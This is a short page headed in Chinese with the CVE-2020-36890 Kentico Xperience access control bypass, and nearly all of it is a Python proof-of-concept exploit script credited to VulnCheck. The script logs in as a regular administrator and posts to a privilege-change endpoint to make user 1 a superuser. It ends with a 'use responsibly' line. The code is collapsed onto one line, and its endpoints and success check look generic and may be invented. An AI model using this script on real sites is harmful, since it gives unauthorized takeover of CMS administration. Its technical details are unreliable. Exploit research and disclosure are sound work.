CVE-2020-36890: Kentico Xperience 访问控制绕过漏洞

import requests import re # CVE-2020-36890 PoC - Kentico Xperience Access Control Bypass # Target: Kentico Xperience CMS # Author: VulnCheck TARGET_URL = "https://target-site.com" LOGIN_PATH = "/kentico/Admin/cmssections.aspx" EXPLOIT_PATH = "/CMSPages/ChangeUserPrivileges.aspx" def exploit_access_control_bypass(target, username, password): """ Exploit for CVE-2020-36890 This PoC demonstrates privilege escalation via unauthorized request manipulation """ session = requests.Session() # Step 1: Authenticate as regular administrator login_data = { 'username': username, 'password': password, 'login': 'Log+in' } response = session.post(f"{target}{LOGIN_PATH}", data=login_data) if 'LoggedIn' not in response.text: print("[-] Authentication failed") return None print("[+] Successfully authenticated") # Step 2: Exploit the access control bypass # Modify user privileges to gain global admin access exploit_data = { 'userid': '1', # Target user ID (typically global admin) 'privlevel': '3', # Highest privilege level 'issuperuser': 'true', 'save': 'Save' } exploit_response = session.post( f"{target}{EXPLOIT_PATH}", data=exploit_data, headers={ 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded' } ) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Global administrator privileges obtained") return session else: print("[-] Exploitation failed") return None if __name__ == "__main__": print("CVE-2020-36890 Exploitation Tool") print("Use responsibly and only on authorized systems")